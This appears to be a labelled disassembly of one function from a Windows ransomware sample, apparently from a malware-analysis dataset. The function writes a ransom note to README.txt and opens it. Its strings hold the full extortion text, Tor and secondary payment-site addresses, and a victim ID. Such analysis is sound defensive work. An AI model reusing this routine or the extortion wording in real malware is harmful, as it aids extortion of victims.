Function at 0x402df0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x427f40
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
mov eax, dword [0x438050]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xb0
lea eax, [ebp - 0xc0]
push 0
push eax
call fcn.0040c910
push ecx
lea ecx, [ebp - 0xc0]
call fcn.00404050
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xb4], 6
je 0x402e68
mov edx, str.Unable_to_create_README.txt_n
mov ecx, 0x439290
call fcn.00407350
jmp 0x402fba
mov edx, str.____Welcome._Again_____n_n
lea ecx, [ebp - 0xc0]
call fcn.00407350
mov edx, str.___What_Happen_____n
mov ecx, eax
call fcn.00407350
mov edx, str.Your_files_are_encrypted_and_currently_unavailable._You_can_check_it_all_files_on_the_system_do_not_open_properly._n
mov ecx, eax
call fcn.00407350
mov edx, str.By_the_way__everything_is_possible_to_recover_restore___but_you_need_to_follow_our_instructions._Otherwise__you_cant_return_your_data__Never_._n_n
mov ecx, eax
call fcn.00407350
mov edx, str.___What_guarantees____
mov ecx, eax
call fcn.00407350
mov edx, str.Its_just_a_business._We_absolutely_do_not_care_you_and_your_deals__except_getting_benefits._If_we_do_not_do_our_work_and_liabilities____n
mov ecx, eax
call fcn.00407350
mov edx, str.nobody_will_not_cooperate_with_us__Its_not_in_our_interests._n
mov ecx, eax
call fcn.00407350
mov edx, str.To_check_the_ability_of_returning_files__you_should_go_to_our_website._there_you_can_decrypt_one_file_and_free._That_isi_our_guarantee._n
mov ecx, eax
call fcn.00407350
mov edx, str.If_you_will_not_cooperate_with_our_service___for_us__its_does_not_matter._But_you_will_lose_your_time_and_data__cause_just_we_have_the__n
mov ecx, eax
call fcn.00407350
mov edx, str.private_key._In_practice___time_is_much_more_valuable_than_money._n_n
mov ecx, eax
call fcn.00407350
mov edx, str.___How_to_get_access_on_website_____n
mov ecx, eax
call fcn.00407350
mov edx, str.You_have_two_ways:_n
mov ecx, eax
call fcn.00407350
mov edx, str.1___Recommended__Using_a_Tor_brower__n
mov ecx, eax
call fcn.00407350
mov edx, str.____a__Download_and_install_Tor_brower_from_this_site:_https:__torproject.org_n
mov ecx, eax
call fcn.00407350
mov edx, str.____b__open_our_website:_http:__aplwbzo468w90726424023846238690283.coion_CE2937HFJJK_n
mov ecx, eax
call fcn.00407350
mov edx, str.2__If_Tor_blocked_in_your_country__try_to_use_VPN__But_you_can_use_our_secondary_website._for_this:_n
mov ecx, eax
call fcn.00407350
mov edx, str.____a__Open_your_any_brower__Chrome__Opera__IE__Edge__n
mov ecx, eax
call fcn.00407350
mov edx, str.____b__Open_our_secondary_website:_http:__decryptor.cc_CE2937HFJJK_n_n
mov ecx, eax
call fcn.00407350
mov edx, str.Warnning_secondary_website_can_be_blocked__thats_why_first_variant_much_better_and_more_available._n
mov ecx, eax
call fcn.00407350
mov edx, str.When_you_open_our_website__put_the_follow_data_in_the_input_form:_n
mov ecx, eax
call fcn.00407350
mov edx, str.Key:_n_r
mov ecx, eax
call fcn.00407350
lea ecx, [ebp - 0xbc]
call fcn.004055e0
test eax, eax
jne 0x402fa2
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.004023e0
push 5
push 0
push 0
push str.README.txt
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xbc]
call fcn.00403ce0
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0xc4], eax
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.0040a5e0
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040af0a
mov esp, ebp
pop ebp
ret